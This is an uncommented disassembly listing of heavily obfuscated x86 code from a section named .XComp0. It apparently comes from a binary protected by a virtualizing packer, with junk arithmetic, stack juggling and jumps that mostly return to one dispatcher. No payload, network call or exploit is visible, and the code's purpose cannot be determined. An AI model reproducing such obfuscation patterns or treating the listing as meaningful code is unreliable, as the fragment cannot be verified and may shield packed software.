sub esp, 4 jmp loc_58689E ; --------------------------------------------------------------------------- loc_593500: ; CODE XREF: .XComp0:00595B7Fj dec edi xor edi, 0C18B2231h sub eax, edi pop edi pop ecx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593522: ; CODE XREF: .XComp0:0059124Dj mov [esp], ecx mov ch, 0C1h not ch add ch, 32h add bh, ch pop ecx or dh, bh pop ebx push small 0 sub [esp], dh jmp loc_59165F ; --------------------------------------------------------------------------- loc_59353E: ; CODE XREF: .XComp0:0059449Dj add ebp, 4 jmp loc_58D67F ; --------------------------------------------------------------------------- loc_593549: ; CODE XREF: .XComp0:00590EC5j mov ch, 77h jmp loc_598B4C ; --------------------------------------------------------------------------- loc_593550: ; CODE XREF: .XComp0:0059539Aj pop ebp jmp loc_58EC43 ; --------------------------------------------------------------------------- loc_593556: ; CODE XREF: .XComp0:00594601j push 4961942h pop edi add edi, 24885F81h xor edi, 3A5D49B5h jmp loc_58D806 ; --------------------------------------------------------------------------- loc_59356D: ; CODE XREF: .XComp0:0058B98Cj add bl, al push eax mov al, 0Eh jmp loc_593762 ; --------------------------------------------------------------------------- loc_593577: ; CODE XREF: .XComp0:005888BFj add ebx, ebp sub ebx, 5980C92h sub ebx, 881228Bh jmp loc_59014C ; --------------------------------------------------------------------------- loc_59358A: ; CODE XREF: .XComp0:00589FEBj push 306517AAh jmp loc_587F18 ; --------------------------------------------------------------------------- loc_593594: ; CODE XREF: .XComp0:00591843j add eax, ebp mov ebp, [esp] jmp loc_590575 ; --------------------------------------------------------------------------- loc_59359E: ; CODE XREF: .XComp0:0059809Aj xor ecx, 0A96BECE7h sub ebp, ecx pop ecx jmp loc_59492B ; --------------------------------------------------------------------------- loc_5935AC: ; CODE XREF: .XComp0:00584D9Dj mov edx, [esp] add esp, 4 mov ebx, [esp] push 3B9Dh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_58614F ; --------------------------------------------------------------------------- loc_5935D6: ; CODE XREF: .XComp0:00591AB6j push ecx jmp loc_595F65 ; --------------------------------------------------------------------------- loc_5935DC: ; CODE XREF: .XComp0:0058DBAAj pop ebx push ebx mov ebx, 4437102Dh shl ebx, 2 shl ebx, 2 and ebx, 1D307A59h not ebx xor ebx, 0C69A9605h xor ecx, ebx pop ebx xor ecx, 65461C4Eh add ecx, 0C68DB381h add edi, ecx pop ecx add edi, 4 xchg edi, [esp] pop esp jmp loc_58D1D9 ; --------------------------------------------------------------------------- loc_593615: ; CODE XREF: .XComp0:00592D09j sub ebx, 0BD082872h add edi, ebx pop ebx push 116h mov [esp], edi push dword ptr [esp+4] mov edi, [esp] push eax mov eax, esp add eax, 4 push edx mov edx, 3B9F71F9h sub edx, 3B9F71F5h add eax, edx pop edx xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_5883F4 ; --------------------------------------------------------------------------- loc_593650: ; CODE XREF: .XComp0:00592CD0j xor [esp], eax xor eax, [esp] pop esp mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] pop edx add esp, 4 jmp loc_58458E ; --------------------------------------------------------------------------- loc_59366D: ; CODE XREF: .XComp0:00595FF9j mov [esp], edx jmp loc_587ADA ; --------------------------------------------------------------------------- loc_593675: ; CODE XREF: .XComp0:00591DFFj shr eax, 5 add eax, 0FB8FBC69h jmp loc_59729E ; --------------------------------------------------------------------------- loc_593682: ; CODE XREF: .XComp0:0059273Fj push 702Ah mov [esp], esi push 2711h mov [esp], ebx mov ebx, 4 mov esi, ebx pop ebx add edx, esi jmp loc_595C71 ; --------------------------------------------------------------------------- loc_5936A1: ; CODE XREF: .XComp0:00598C0Bj xor ebp, ecx jmp loc_585F4A ; --------------------------------------------------------------------------- loc_5936A8: ; CODE XREF: .XComp0:00598278j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 add ebp, 4 jmp loc_591ACB ; --------------------------------------------------------------------------- loc_5936D8: ; CODE XREF: .XComp0:00595AC6j sub edx, ebp pop ebp xor eax, edx push dword ptr [esp] jmp loc_591683 ; --------------------------------------------------------------------------- loc_5936E5: ; CODE XREF: .XComp0:005943F8j pop esp mov [esp], ecx mov ecx, edx jmp loc_585E03 ; --------------------------------------------------------------------------- loc_5936F0: ; CODE XREF: .XComp0:005975DBj xor eax, [esp] jmp loc_5840DF ; --------------------------------------------------------------------------- loc_5936F8: ; CODE XREF: .XComp0:00584D5Bj add ebp, ebx add ebp, 4207085Ch jmp loc_58BBEF ; --------------------------------------------------------------------------- loc_593705: ; CODE XREF: .XComp0:00585225j pop esp push sp jmp loc_58D898 ; --------------------------------------------------------------------------- loc_59370D: ; CODE XREF: .XComp0:00594D76j xchg esi, [esp] pop ebx and ebx, 548B5018h jmp loc_593161 ; --------------------------------------------------------------------------- loc_59371C: ; CODE XREF: .XComp0:0058FF3Ej mov edi, [esp] jmp loc_59157C ; --------------------------------------------------------------------------- loc_593724: ; CODE XREF: .XComp0:0058C0E0j pop esp jmp loc_587605 ; --------------------------------------------------------------------------- loc_59372A: ; CODE XREF: .XComp0:00595A6Dj push esi mov esi, 24B45903h jmp loc_58CD65 ; --------------------------------------------------------------------------- loc_593735: ; CODE XREF: .XComp0:0058D7B7j pop ecx pop edx xor bl, al movzx eax, al mov dx, [esp] push 39A8h mov [esp], eax jmp loc_598714 ; --------------------------------------------------------------------------- loc_59374D: ; CODE XREF: .XComp0:00585565j mov eax, esp jmp loc_598CED ; --------------------------------------------------------------------------- loc_593754: ; CODE XREF: .XComp0:00591400j add esp, 4 push ebx mov ebx, eax jmp loc_598DBB ; --------------------------------------------------------------------------- loc_593762: ; CODE XREF: .XComp0:00593572j shr al, 5 xor al, 3Eh add bl, al mov eax, [esp] jmp loc_5923C9 ; --------------------------------------------------------------------------- loc_593771: ; CODE XREF: .XComp0:00596106j pop edx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593777: ; CODE XREF: .XComp0:0058A801j pop ebp and edx, eax mov eax, [esp] add esp, 4 not edx jmp loc_589D1F ; --------------------------------------------------------------------------- loc_593787: ; CODE XREF: .XComp0:00592C79j pop ebp push ecx mov ecx, 185565A4h shr ecx, 6 shl ecx, 5 xor ecx, 0C2AB2C2h add ebx, ecx pop ecx xor ebx, [esp] xor [esp], ebx jmp loc_58F930 ; --------------------------------------------------------------------------- loc_5937A8: ; CODE XREF: .XComp0:0058A1A4j mov edx, ecx pop ecx mov edi, edx pop edx or edi, 66D406E4h push edx mov edx, 6A8D715Dh add edi, edx pop edx dec edi jmp loc_587748 ; --------------------------------------------------------------------------- loc_5937C3: ; CODE XREF: .XComp0:00590B8Fj add ebx, 0C4B9CEE3h add esi, ebx jmp loc_58A704 ; --------------------------------------------------------------------------- loc_5937D0: ; CODE XREF: .XComp0:0058F52Cj pop edi add edi, 4 jmp loc_584FF6 ; --------------------------------------------------------------------------- loc_5937DC: ; CODE XREF: .XComp0:00593246j sub ebx, 0FDE6F5F4h push edi jmp loc_58F079 ; --------------------------------------------------------------------------- loc_5937E8: ; CODE XREF: .XComp0:00598DBCj xor dword ptr [esp], 10364DA3h pop edi xor edi, 10364DA3h pop ebx mov eax, [esp] add esp, 4 jmp loc_58BAE3 ; --------------------------------------------------------------------------- loc_593802: ; CODE XREF: .XComp0:00585FFBj add ebx, 4 xchg ebx, [esp] pop esp add eax, 4 xchg eax, [esp] pop esp jmp loc_592A68 ; --------------------------------------------------------------------------- loc_59381A: ; CODE XREF: .XComp0:00593D08j push ecx mov ecx, 0F590927h sub esi, ecx pop ecx jmp loc_58E27E ; --------------------------------------------------------------------------- loc_593828: ; CODE XREF: .XComp0:00595F99j mov ebx, 53FD67F8h neg ebx sub ebx, 739D7F7Eh add eax, ebx jmp loc_5983A3 ; --------------------------------------------------------------------------- loc_59383C: ; CODE XREF: .XComp0:00584CD1j push 10A1h mov [esp], ebp jmp loc_5890FB ; --------------------------------------------------------------------------- loc_593849: ; CODE XREF: .XComp0:0059332Bj add ebx, 4 xchg ebx, [esp] jmp loc_58AB82 ; --------------------------------------------------------------------------- loc_593857: ; CODE XREF: .XComp0:00595B65j or edx, eax shl edx, 1 push ebp push 321Ah mov [esp], esi push 507Ch jmp loc_592B8C ; --------------------------------------------------------------------------- loc_59386E: ; CODE XREF: .XComp0:00598B53j push 63BFh jmp loc_597B22 ; --------------------------------------------------------------------------- loc_593878: ; CODE XREF: .XComp0:0058F431j mov ecx, ebx mov ebx, [esp] add esp, 4 add edi, ecx push dword ptr [esp] pop ecx push ecx mov ecx, esp push 3B5Fh mov [esp], eax push esi jmp loc_58A1F9 ; --------------------------------------------------------------------------- loc_59389A: ; CODE XREF: .XComp0:00595C02j push ecx mov ecx, 6E6A56A8h or ecx, 79C54FACh shl ecx, 4 xor ecx, 0FEF5FAC4h add ebp, ecx pop ecx add ebp, 4 xchg ebp, [esp] pop esp jmp loc_598A6B ; --------------------------------------------------------------------------- loc_5938C1: ; CODE XREF: .XComp0:00596335j not ebp xchg ebp, edi shl edi, 1 sub edi, 0B075E20Ch jmp loc_58EB0F ; --------------------------------------------------------------------------- loc_5938D2: ; CODE XREF: .XComp0:00597CD0j mov ebx, edx pop edx push ebx mov ebx, 350827AAh sub ebx, 2D7FABCFh add esi, ebx jmp loc_596455 ; --------------------------------------------------------------------------- loc_5938E8: ; CODE XREF: .XComp0:00596157j sub ch, 0D5h add al, ch mov ecx, [esp] jmp loc_5849C6 ; --------------------------------------------------------------------------- loc_5938F5: ; CODE XREF: .XComp0:0058580Dj push eax mov eax, 634E1122h shl eax, 5 not eax sub eax, 81E3CE2Eh sub ebp, eax pop eax sub ebp, 17192CA9h add ebp, eax add ebp, 17192CA9h add ebp, 145A0D91h pop eax xchg ebp, [esp] mov esp, [esp] jmp loc_595160 ; --------------------------------------------------------------------------- loc_593928: ; CODE XREF: .XComp0:00586A31j pop ecx neg edx shr edx, 8 xor edx, 0D2E2A3h push edi mov edi, 1B144DD5h jmp loc_596D38 ; --------------------------------------------------------------------------- loc_59393F: ; CODE XREF: .XComp0:005917F3j mov edi, [esp] add esp, 4 pop ebx push 6D4h mov [esp], edi mov edi, 649F0DE1h sub edi, 649F0DDFh add edx, 6A3D2888h jmp loc_591D75 ; --------------------------------------------------------------------------- loc_593964: ; CODE XREF: .XComp0:00587F0Cj mov esi, esp jmp loc_595D8C ; --------------------------------------------------------------------------- loc_59396B: ; CODE XREF: .XComp0:00588E4Fj pop edi sub esp, 4 mov [esp], edi mov edi, 47B03D18h add ebp, edi push dword ptr [esp] pop edi add esp, 4 and ecx, ebp mov ebp, [esp] jmp loc_588767 ; --------------------------------------------------------------------------- loc_59398A: ; CODE XREF: .XComp0:0058B5CAj add esp, 4 jmp loc_58A4E6 ; --------------------------------------------------------------------------- loc_593995: ; CODE XREF: .XComp0:00598DB6j mov ebp, esp jmp loc_591FD4 ; --------------------------------------------------------------------------- loc_59399C: ; CODE XREF: .XComp0:005970BDj mov edi, [esp] add esp, 4 jmp loc_589998 ; --------------------------------------------------------------------------- loc_5939A7: ; CODE XREF: .XComp0:0058F678j xchg ecx, [esp] mov esp, [esp] jmp loc_594E3F ; --------------------------------------------------------------------------- loc_5939B2: ; CODE XREF: .XComp0:0058567Ej xor eax, 1FCB7D6Ah push 5A41h mov [esp], ebx mov ebx, 400h and eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_59205C ; --------------------------------------------------------------------------- loc_5939D1: ; CODE XREF: .XComp0:0059194Bj pop eax sub esp, 4 mov [esp], ecx mov cl, 22h or cl, 1Dh push eax mov ah, 68h sub cl, ah mov eax, [esp] add esp, 4 push small 6CF7h mov [esp], bx jmp loc_59253E ; --------------------------------------------------------------------------- loc_5939F8: ; CODE XREF: .XComp0:0058607Fj xchg ebp, ecx inc ebp xchg ebp, ecx inc ecx and ecx, 673C0DAAh jmp loc_593C37 ; --------------------------------------------------------------------------- loc_593A09: ; CODE XREF: .XComp0:00584B0Bj dec esi sub esi, 8D7FC317h sub edi, esi jmp loc_58589E ; --------------------------------------------------------------------------- loc_593A17: ; CODE XREF: .XComp0:005933C3j pop edi pop ecx dec ebx not ebx sub ebx, 0EA759CFBh sub edx, ebx jmp loc_592625 ; --------------------------------------------------------------------------- loc_593A29: ; CODE XREF: .XComp0:00590786j pop ecx push edi mov edi, esp push ecx jmp loc_58E0D6 ; --------------------------------------------------------------------------- loc_593A33: ; CODE XREF: .XComp0:005962CBj xor ecx, [esp] mov esp, [esp] jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593A3E: ; CODE XREF: .XComp0:0058EF20j xchg edx, [esp] pop esp push ebp mov ebp, esp jmp loc_585028 ; --------------------------------------------------------------------------- loc_593A4A: ; CODE XREF: .XComp0:005854AFj pop edi push 3C24h mov [esp], ebp push esp jmp loc_595C01 ; --------------------------------------------------------------------------- loc_593A59: ; CODE XREF: .XComp0:005958D8j pop edx pop ebx sub ebx, 2F9D7F23h push dword ptr [esp] mov edi, [esp] jmp loc_58818A ; --------------------------------------------------------------------------- loc_593A6C: ; CODE XREF: .XComp0:0058D4ECj xor ah, dh add dh, 1 sub esp, 4 mov [esp], ecx mov ch, dh mov dh, ah mov ah, ch pop ecx push ecx mov ch, 13h jmp loc_58805D ; --------------------------------------------------------------------------- loc_593A86: ; CODE XREF: .XComp0:0058CCA5j add esp, 4 push esi push ebx push 61924762h push dword ptr [esp] pop ebx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_585EC9 ; --------------------------------------------------------------------------- loc_593AAC: ; CODE XREF: .XComp0:0058D471j push eax mov eax, 4DFF0660h jmp loc_58F599 ; --------------------------------------------------------------------------- loc_593AB7: ; CODE XREF: .XComp0:0058C427j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593ABC: ; CODE XREF: .XComp0:00595571j add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 push ebp push 4 jmp loc_593463 ; --------------------------------------------------------------------------- loc_593ADD: ; CODE XREF: .XComp0:00585F84j add esp, 4 sub esp, 4 mov [esp], eax jmp loc_584A9F ; --------------------------------------------------------------------------- loc_593AEE: ; CODE XREF: .XComp0:00597DA8j push 7819h mov [esp], edx mov edx, 57774024h push eax push edi mov edi, 0DE8576Eh xchg esi, edi dec esi xor edi, esi xor esi, edi xor edi, esi push edi jmp loc_593C85 ; --------------------------------------------------------------------------- loc_593B11: ; CODE XREF: .XComp0:005977A1j add ebp, esi mov esi, [esp] add esp, 4 add ebx, ebp pop ebp jmp loc_5843E1 ; --------------------------------------------------------------------------- loc_593B24: ; CODE XREF: .XComp0:00586D97j push esi push ebp push edx push edi push 28D317Dh pop edi jmp loc_596F8D ; --------------------------------------------------------------------------- loc_593B33: ; CODE XREF: .XComp0:00592EACj mov [esp], cx jmp loc_5884E5 ; --------------------------------------------------------------------------- loc_593B3C: ; CODE XREF: .XComp0:0058D6D5j push edi push ecx jmp loc_588D20 ; --------------------------------------------------------------------------- loc_593B43: ; CODE XREF: .XComp0:00588AF7j pop esp mov [esp], ebp mov ebp, esp push esi mov esi, 4 add ebp, esi jmp loc_587D7B ; --------------------------------------------------------------------------- loc_593B56: ; CODE XREF: .XComp0:0058F4FAj shr ecx, 1 dec ecx shl ecx, 3 push ebp jmp loc_597F64 ; --------------------------------------------------------------------------- loc_593B62: ; CODE XREF: .XComp0:00592A53j mov esi, 18342C9Dh inc esi jmp loc_586A5C ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push 7277h sub esp, 4 jmp loc_58FDF3 ; --------------------------------------------------------------------------- loc_593B84: ; CODE XREF: .XComp0:0058EE56j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] sub dl, 52h not dl push eax mov al, 0C1h xor al, 7Ah jmp loc_5875C0 ; --------------------------------------------------------------------------- loc_593BAA: ; CODE XREF: .XComp0:005896AFj sub al, 8Ah jmp loc_58C034 ; --------------------------------------------------------------------------- loc_593BB1: ; CODE XREF: .XComp0:00593BF5j mov [esp], ebx push 4312h mov [esp], eax jmp loc_592B7A ; --------------------------------------------------------------------------- loc_593BC1: ; CODE XREF: .XComp0:005855A4j sub ecx, 1 shr ecx, 1 jmp loc_589A59 ; --------------------------------------------------------------------------- loc_593BCB: ; CODE XREF: .XComp0:00598D3Ej not al sub al, 0E2h shr al, 7 xor al, 24h jmp loc_58DFB3 ; --------------------------------------------------------------------------- loc_593BD9: ; CODE XREF: .XComp0:00595088j push edx push 79C15FBFh mov edx, [esp] add esp, 4 add edx, 1 jmp loc_594D93 ; --------------------------------------------------------------------------- push 5E82h jmp loc_593BB1 ; --------------------------------------------------------------------------- loc_593BFA: ; CODE XREF: .XComp0:0059076Dj pop edi sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ecx push 2000h mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5893F8 ; --------------------------------------------------------------------------- loc_593C25: ; CODE XREF: .XComp0:005950A6j add esp, 4 idiv ecx jmp loc_592241 ; --------------------------------------------------------------------------- loc_593C2F: ; CODE XREF: .XComp0:00594349j xor eax, [esp] jmp loc_590FB9 ; --------------------------------------------------------------------------- loc_593C37: ; CODE XREF: .XComp0:00593A04j xor ecx, 756C17B4h jmp loc_58A183 ; --------------------------------------------------------------------------- loc_593C42: ; CODE XREF: .XComp0:00585537j sub esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov [esp], ebp jmp loc_592BEA ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593C69: ; CODE XREF: .XComp0:00595F60j add ebx, 2 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_593D1C ; --------------------------------------------------------------------------- loc_593C85: ; CODE XREF: .XComp0:00593B0Cj not dword ptr [esp] pop edi shl edi, 7 jmp loc_592A1E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi mov esi, esp jmp loc_59726A ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp push edi mov edi, 4 jmp loc_587731 ; --------------------------------------------------------------------------- loc_593CC7: ; CODE XREF: .XComp0:0058E6A2j pop esi jmp loc_5895D0 ; --------------------------------------------------------------------------- loc_593CCD: ; CODE XREF: .XComp0:00590907j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593CD2: ; CODE XREF: .XComp0:00594592j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_591833 ; --------------------------------------------------------------------------- loc_593CE6: ; CODE XREF: .XComp0:00591F40j push 3A88h mov [esp], ebx jmp loc_598181 ; --------------------------------------------------------------------------- loc_593CF3: ; CODE XREF: .XComp0:00596D53j add esi, ecx pop ecx xor esi, 94A8355Ah add ebp, esi pop esi mov ebx, [esp] jmp loc_58BFC2 ; --------------------------------------------------------------------------- loc_593D07: ; CODE XREF: .XComp0:00587858j pop ebp jmp loc_59381A ; --------------------------------------------------------------------------- loc_593D0D: ; CODE XREF: .XComp0:0058564Bj pop esp xchg edx, [esp] mov esp, [esp] test ecx, eax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593D1C: ; CODE XREF: .XComp0:00593C80j dec byte ptr [esp] pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_593D25: ; CODE XREF: .XComp0:00583FCAj sub esp, 4 mov [esp], ecx push ebx mov ebx, eax jmp loc_584FEF ; --------------------------------------------------------------------------- loc_593D33: ; CODE XREF: .XComp0:00583C35j mov ecx, esi mov esi, [esp] add esp, 4 not ecx and ecx, 2B9A4C6Ch push edx mov edx, 7BD81BAh sub ecx, edx pop edx jmp loc_58CA9B ; --------------------------------------------------------------------------- loc_593D51: ; CODE XREF: .XComp0:00589065j mov ebx, edi pop edi sub ebx, edi pop edi sub edx, ebx jmp loc_58E316 ; --------------------------------------------------------------------------- loc_593D5E: ; CODE XREF: .XComp0:00584776j push ebp push esp jmp loc_597CD5 ; --------------------------------------------------------------------------- loc_593D65: ; CODE XREF: .XComp0:00597024j mov dl, 36h add ch, 4Ch add ch, dl jmp loc_58624D ; --------------------------------------------------------------------------- loc_593D71: ; CODE XREF: .XComp0:005867A0j push ebx push dword ptr [esp+4] mov ebx, [esp] push ebx jmp loc_5847D3 ; --------------------------------------------------------------------------- loc_593D7F: ; CODE XREF: .XComp0:0058BB03j pop edi or [edi+1Ch], ecx push dword ptr [esp] jmp loc_584738 ; --------------------------------------------------------------------------- loc_593D8B: ; CODE XREF: .XComp0:0058E84Fj push ecx jmp loc_589FE3 ; --------------------------------------------------------------------------- loc_593D91: ; CODE XREF: .XComp0:00588924j mov edi, 7A8E02A1h push edi mov edi, 5298782Ah sub edi, 384B1C7Eh not edi dec edi sub edi, 113F6770h add edi, 5D8808E2h jmp loc_58905F ; --------------------------------------------------------------------------- loc_593DB6: ; CODE XREF: .XComp0:00587743j push esi mov esi, 4 sub ecx, 3AE3098Dh jmp loc_5965A1 ; --------------------------------------------------------------------------- loc_593DC7: ; CODE XREF: .XComp0:00585970j and edx, 67495C3Dh sub edx, 74855B10h push eax mov eax, 0CE82C105h sub edx, eax jmp loc_597CCF ; --------------------------------------------------------------------------- loc_593DE0: ; CODE XREF: .XComp0:005869A9j xor edi, [esp] jmp loc_596F7A ; --------------------------------------------------------------------------- loc_593DE8: ; CODE XREF: .XComp0:0058EE17j add ebx, 4 xchg ebx, [esp] jmp loc_592A96 ; --------------------------------------------------------------------------- loc_593DF3: ; CODE XREF: .XComp0:0058547Fj mov eax, 66A53325h mov edx, eax push dword ptr [esp] jmp loc_588F61 ; --------------------------------------------------------------------------- loc_593E02: ; CODE XREF: .XComp0:00598621j xor dword ptr [esp], 64887D43h pop ecx xor ecx, 64887D43h pop edi mov esi, ecx mov ecx, [esp] jmp loc_58C70F ; --------------------------------------------------------------------------- loc_593E1B: ; CODE XREF: .XComp0:00596075j xchg ebx, [esp] pop esp mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push esi push ebx jmp loc_598FAB ; --------------------------------------------------------------------------- loc_593E31: ; CODE XREF: .XComp0:00594A78j pop edi sub esp, 4 mov [esp], esi push ebx push ebp push 4A1A6AC0h pop ebp jmp loc_58C9B6 ; --------------------------------------------------------------------------- loc_593E48: ; CODE XREF: .XComp0:0058A086j shl ebp, 3 push esi push 76FF2884h pop esi shr esi, 1 and esi, 0A75DFCh xor esi, 224EBBCh jmp loc_591F2D ; --------------------------------------------------------------------------- loc_593E65: ; CODE XREF: .XComp0:0059349Ej mov edi, 1035708Fh add edi, 6E473CA6h sub esp, 4 jmp loc_592EB1 ; --------------------------------------------------------------------------- loc_593E78: ; CODE XREF: .XComp0:00596A68j mov ecx, 790B5DD0h or edi, ecx pop ecx add edi, 80E48226h push edi add dword ptr [esp], 8348A9h pop edx jmp loc_584F61 ; --------------------------------------------------------------------------- loc_593E94: ; CODE XREF: .XComp0:005856D5j sub ebx, 2F0A1909h jmp loc_58C02C ; --------------------------------------------------------------------------- loc_593E9F: ; CODE XREF: .XComp0:00587E8Ej add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_590ECA ; --------------------------------------------------------------------------- loc_593EB4: ; CODE XREF: .XComp0:00588265j pop ebp push ecx mov ecx, 62227EA0h push ebx mov ebx, 4ED723C0h and ebx, 799416A5h add ebx, 0CAD93ECFh or ecx, ebx pop ebx neg ecx neg ecx jmp loc_584BB6 ; --------------------------------------------------------------------------- loc_593ED9: ; CODE XREF: .XComp0:0058EC7Aj push eax mov eax, 48C176E5h add edi, eax pop eax not edi xor edi, 82654B00h jmp loc_588E54 ; --------------------------------------------------------------------------- loc_593EEF: ; CODE XREF: .XComp0:005848EEj mov edi, [esp] add esp, 4 add esp, 4 pop esi push ebx push edi push ebp mov ebp, 2D240754h mov edi, ebp pop ebp push eax mov eax, 2BC1F91h sub eax, 7CC80CD1h neg eax shl eax, 4 push ebp mov ebp, 6D74B32h sub eax, ebp jmp loc_594429 ; --------------------------------------------------------------------------- loc_593F24: ; CODE XREF: .XComp0:00587201j push edx jmp loc_59576F ; --------------------------------------------------------------------------- loc_593F2A: ; CODE XREF: .XComp0:0058807Aj add [esp+4], edx sub dword ptr [esp+4], 0C9D1D94h mov edx, [esp] add esp, 4 push dword ptr [esp] jmp loc_584DBE ; --------------------------------------------------------------------------- loc_593F44: ; CODE XREF: .XComp0:00589DE7j pop esi add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push 3865h mov [esp], ebx push ebp mov ebp, 91027CDh mov ebx, ebp pop ebp push esi push ecx mov ecx, 5EC44E5Ch or ecx, 2D7D6604h sub ecx, 30A1391Dh jmp loc_597E59 ; --------------------------------------------------------------------------- loc_593F7B: ; CODE XREF: .XComp0:0058EC03j mov ebp, esp jmp loc_595640 ; --------------------------------------------------------------------------- loc_593F82: ; CODE XREF: .XComp0:0058F0C5j or edi, eax jmp loc_58A562 ; --------------------------------------------------------------------------- loc_593F89: ; CODE XREF: .XComp0:00596E81j xor eax, esi pop esi push eax pop ecx pop eax sub [esp+4], ecx jmp loc_598704 ; --------------------------------------------------------------------------- loc_593F98: ; CODE XREF: .XComp0:00596540j mov bx, bp pop ebp pop ecx add dx, 5EB1h add dx, 3A3Fh jmp loc_596233 ; --------------------------------------------------------------------------- loc_593FAC: ; CODE XREF: .XComp0:00594D10j xor ecx, 1BE8B608h jmp loc_58A53C ; --------------------------------------------------------------------------- loc_593FB7: ; CODE XREF: .XComp0:005898DBj pop esi sub edi, 14CC6CAAh add edi, ebx add edi, 14CC6CAAh jmp loc_58B14D ; --------------------------------------------------------------------------- loc_593FCB: ; CODE XREF: .XComp0:00592953j mov [esp], ebp mov ebp, 2 add ecx, ebp jmp loc_59100F ; --------------------------------------------------------------------------- loc_593FDA: ; CODE XREF: .XComp0:0058A413j push ebp mov ebp, 55CC4391h inc ebp and ebp, 4E324C7Dh jmp loc_588F80 ; --------------------------------------------------------------------------- loc_593FEC: ; CODE XREF: .XComp0:00587933j push edi mov edi, 2 sub edx, 5E4F60BEh add edx, edi jmp loc_585105 ; --------------------------------------------------------------------------- loc_593FFF: ; CODE XREF: .XComp0:00586836j not edx not edx xor edx, 2491401Ch sub eax, 7B31464h add eax, 29C56759h sub eax, edx sub eax, 29C56759h add eax, 7B31464h pop edx xchg eax, [esp] pop esp mov [esp], edi mov edi, esp jmp loc_58DAD2 ; --------------------------------------------------------------------------- loc_59402E: ; CODE XREF: .XComp0:00591503j shr edx, 8 push eax push ebp mov ebp, 2DD37A5Bh jmp loc_58666A ; --------------------------------------------------------------------------- loc_59403D: ; CODE XREF: .XComp0:005978F7j pop esp push esi mov esi, 4E94012Ah xor esi, 4E94012Eh add ebx, esi pop esi jmp loc_58FAD9 ; --------------------------------------------------------------------------- loc_594052: ; CODE XREF: .XComp0:0058720Aj sub dh, al pop ax mov ch, dh mov edx, [esp] add esp, 4 jmp loc_58D7B2 ; --------------------------------------------------------------------------- loc_594066: ; CODE XREF: .XComp0:0058E302j push dword ptr [esp] pop eax add esp, 4 sub ecx, 0FFFFFFFFh sub ecx, 3D0C34A9h xor ecx, 144D65FBh jmp loc_586C7F ; --------------------------------------------------------------------------- loc_594081: ; CODE XREF: .XComp0:0058BF7Cj mov ebp, [esp] jmp loc_5989E5 ; --------------------------------------------------------------------------- loc_594089: ; CODE XREF: .XComp0:0058E67Ej add esp, 4 jmp loc_58CCAA ; --------------------------------------------------------------------------- loc_594094: ; CODE XREF: .XComp0:0058F2C2j add esp, 4 push ebx push edi jmp loc_58C006 ; --------------------------------------------------------------------------- loc_5940A1: ; CODE XREF: .XComp0:0058E56Ej sub esp, 4 mov [esp], edi push 14337B2Dh jmp loc_592991 ; --------------------------------------------------------------------------- loc_5940B4: ; CODE XREF: .XComp0:005860B8j mov eax, 4 sub edx, 52FA430Fh sub edx, eax add edx, 52FA430Fh pop eax xchg edx, [esp] jmp loc_58E078 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_5954D8 ; --------------------------------------------------------------------------- loc_5940DB: ; CODE XREF: .XComp0:0058F2A2j shr ebp, 2 xor ebp, 20CF7533h push edi mov edi, 5C5735CAh jmp loc_5924D6 ; --------------------------------------------------------------------------- loc_5940EF: ; CODE XREF: .XComp0:00586BF9j add eax, edi add eax, 44EA3A95h push ebx jmp loc_59082F ; --------------------------------------------------------------------------- loc_5940FC: ; CODE XREF: .XComp0:005927B8j pop ebx add dh, 74h push ebx push eax mov al, dh jmp loc_59637E ; --------------------------------------------------------------------------- loc_594109: ; CODE XREF: .XComp0:00598CE8j mov ebx, 3A144781h jmp loc_592CF6 ; --------------------------------------------------------------------------- loc_594113: ; CODE XREF: .XComp0:00593267j mov ebx, [esp] push ebp sub esp, 4 jmp loc_5986E8 ; --------------------------------------------------------------------------- loc_594122: ; CODE XREF: .XComp0:00598A7Cj add eax, 4E442201h pop ecx push ecx mov ecx, 2 jmp loc_586206 ; --------------------------------------------------------------------------- loc_594133: ; CODE XREF: .XComp0:0059693Bj mov [esp], esi mov esi, 7F0C4295h sub esp, 4 mov [esp], edx mov edx, 408A3466h and edx, 43B95652h or edx, 0CB94A04h inc edx xor edx, 56174FE2h or esi, edx pop edx shl esi, 6 jmp loc_597918 ; --------------------------------------------------------------------------- 